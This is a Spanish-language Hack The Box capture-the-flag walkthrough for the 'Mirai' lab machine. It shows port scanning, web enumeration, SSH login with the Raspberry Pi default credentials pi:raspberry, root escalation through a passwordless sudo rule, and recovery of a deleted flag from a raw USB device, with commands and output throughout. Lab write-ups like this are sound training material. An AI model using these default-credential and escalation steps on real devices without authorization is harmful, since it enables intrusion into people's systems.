Mirai

Hack The Box — Writeup

Mirai

IP:10.129.23.111
OS:Linux
Dificultad:Easy
Fecha:4 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
53/tcp    open  domain  syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
1882/tcp  open  ecsqdmn syn-ack ttl 63
32400/tcp open  plex    syn-ack ttl 63
32469/tcp open  unknown syn-ack ttl 63

Se identificaron seis puertos abiertos. Ante el desconocimiento de algunos servicios, se procedió a investigar su propósito antes de continuar, obteniendo el siguiente contexto:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid:
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1882/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-favicon: Plex
|_http-title: Unauthorized
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hallazgo: la combinación de servicios identificados resultó inusual para un servidor convencional. Se investigaron los servicios desconocidos, obteniendo el siguiente contexto:

Hipótesis: esta combinación de servicios (dnsmasq + lighttpd + UPnP + Plex) es característica de una Raspberry Pi configurada como media center doméstico. El nombre de la máquina (Mirai) refuerza esta hipótesis, ya que el botnet Mirai fue famoso precisamente por comprometer dispositivos IoT como Raspberry Pi mediante el uso de credenciales por defecto. Se planteó como vector inicial probar las credenciales por defecto de Raspberry Pi OS (pi:raspberry) vía SSH.

Enumeración

Enumeración web — puerto 80

Al acceder al puerto 80 se obtuvo un error 404, sin página principal visible. Se verificó la respuesta HTTP completa para identificar información adicional en los headers:

curl -I http://10.129.23.111/

HTTP/1.1 404 Not Found
X-Pi-hole: A black hole for Internet advertisements.
Content-type: text/html; charset=UTF-8
Date: Sat, 04 Jul 2026 08:10:14 GMT
Server: lighttpd/1.4.35

Hallazgo: el header X-Pi-hole confirma que el dispositivo ejecuta Pi-hole, un bloqueador de publicidad a nivel de red diseñado específicamente para Raspberry Pi. Esto corrobora la hipótesis planteada durante el reconocimiento.

Respuesta 404 del servidor web

Dado que la página principal no reveló contenido de valor, se procedió a enumerar rutas adicionales con Feroxbuster:

feroxbuster -u http://10.129.23.111/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

200      GET       11l       29w      274c http://10.129.23.111/admin/.git/config
200      GET        1l        2w       23c http://10.129.23.111/admin/.git/HEAD
200      GET       17l       20w      153c http://10.129.23.111/admin/.gitignore
200      GET       14l       85w    15671c http://10.129.23.111/admin/.git/index
200      GET      145l     2311w    14164c http://10.129.23.111/admin/LICENSE
200      GET        6l       43w      240c http://10.129.23.111/admin/.git/info/exclude
200      GET       20l      170w     1085c http://10.129.23.111/admin/scripts/vendor/LICENSE
200      GET       20l      170w     1085c http://10.129.23.111/admin/style/vendor/LICENSE

Se identificó un directorio /admin/ con un repositorio .git expuesto públicamente. Se descargó el archivo de configuración del repositorio para obtener más contexto:

curl -O http://10.129.23.111/admin/.git/config
cat config

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/pi-hole/AdminLTE.git
fetch = +refs/heads/master:refs/remotes/origin/master
[branch "master"]
remote = origin
merge = refs/heads/master

Observación: el repositorio corresponde al panel de administración oficial de Pi-hole (AdminLTE), lo que confirma definitivamente la presencia de Pi-hole en el dispositivo y, por extensión, que se trata de una Raspberry Pi. El repositorio .git expuesto no representa un vector de explotación directo en este caso, ya que su contenido es el código fuente público de Pi-hole.

Explotación

Acceso SSH con credenciales por defecto

Con base en la hipótesis planteada durante el reconocimiento, se intentó autenticarse por SSH utilizando las credenciales por defecto de Raspberry Pi OS (pi:raspberry):

ssh [email protected]

[email protected]'s password: raspberry

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~$

Resultado: el acceso fue exitoso. El propio sistema emitió una advertencia indicando que la contraseña por defecto no había sido modificada, confirmando la misconfiguración que representa el vector central de esta máquina.

Obtención de la flag de usuario

pi@raspberrypi:~$ ls
background.jpg  Desktop  Documents  Downloads  Music  oldconffiles
Pictures  Public  python_games  Templates  Videos

pi@raspberrypi:~$ cd Desktop/
pi@raspberrypi:~/Desktop$ ls
Plex  user.txt
pi@raspberrypi:~/Desktop$ cat user.txt

Escalada de Privilegios

Verificación de permisos sudo

pi@raspberrypi:~$ sudo -l

Matching Defaults entries for pi on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL

Hallazgo: la configuración (ALL) NOPASSWD: ALL indica que el usuario pi puede ejecutar cualquier comando como cualquier usuario (incluyendo root) sin necesidad de contraseña. Es la configuración sudo más permisiva posible y representa una escalada de privilegios trivial.

pi@raspberrypi:~$ sudo su
root@raspberrypi:/home/pi#

Búsqueda de la flag root

root@raspberrypi:/# cat root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Observación: la flag de root no estaba en su ubicación habitual. El mensaje indicaba la posible existencia de una copia en un dispositivo USB. Se procedió a identificar los dispositivos de almacenamiento montados:

root@raspberrypi:/# lsblk

NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk
sda1     8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
sda2     8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

Hallazgo: se identificó el dispositivo /dev/sdb montado en /media/usbstick, correspondiente al USB stick mencionado en el mensaje. La ruta del dispositivo raw es /dev/sdb.

root@raspberrypi:/# cd /media/usbstick/
root@raspberrypi:/media/usbstick# ls
damnit.txt  lost+found

root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

Observación: el archivo root.txt había sido eliminado del USB stick. Al revisar el directorio lost+found (directorio de recuperación del sistema de archivos) no se encontraron archivos recuperables mediante métodos convencionales. Se procedió a aplicar una técnica de recuperación forense.

Recuperación forense del archivo eliminado

Cuando un archivo se elimina en Linux, su contenido no se sobreescribe inmediatamente en el disco — el sistema de archivos únicamente marca los sectores ocupados como “disponibles para reutilizar”. Los datos permanecen físicamente escritos en el dispositivo hasta que sean sobreescritos por nueva información.

La herramienta strings permite leer un dispositivo a nivel de bloques crudos (raw) sin pasar por el sistema de archivos, extrayendo todas las cadenas de texto ASCII imprimibles que encuentre en los sectores del disco, independientemente de si corresponden a archivos existentes o eliminados:

root@raspberrypi:/media/usbstick# strings /dev/sdb

/media/usbstick
lost+found
root.txt
damnit.txt
/media/usbstick
lost+found
root.txt
damnit.txt
3d3e483143ff[Flag Oculta]
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

Resultado: el contenido del archivo root.txt eliminado fue recuperado exitosamente del dispositivo raw.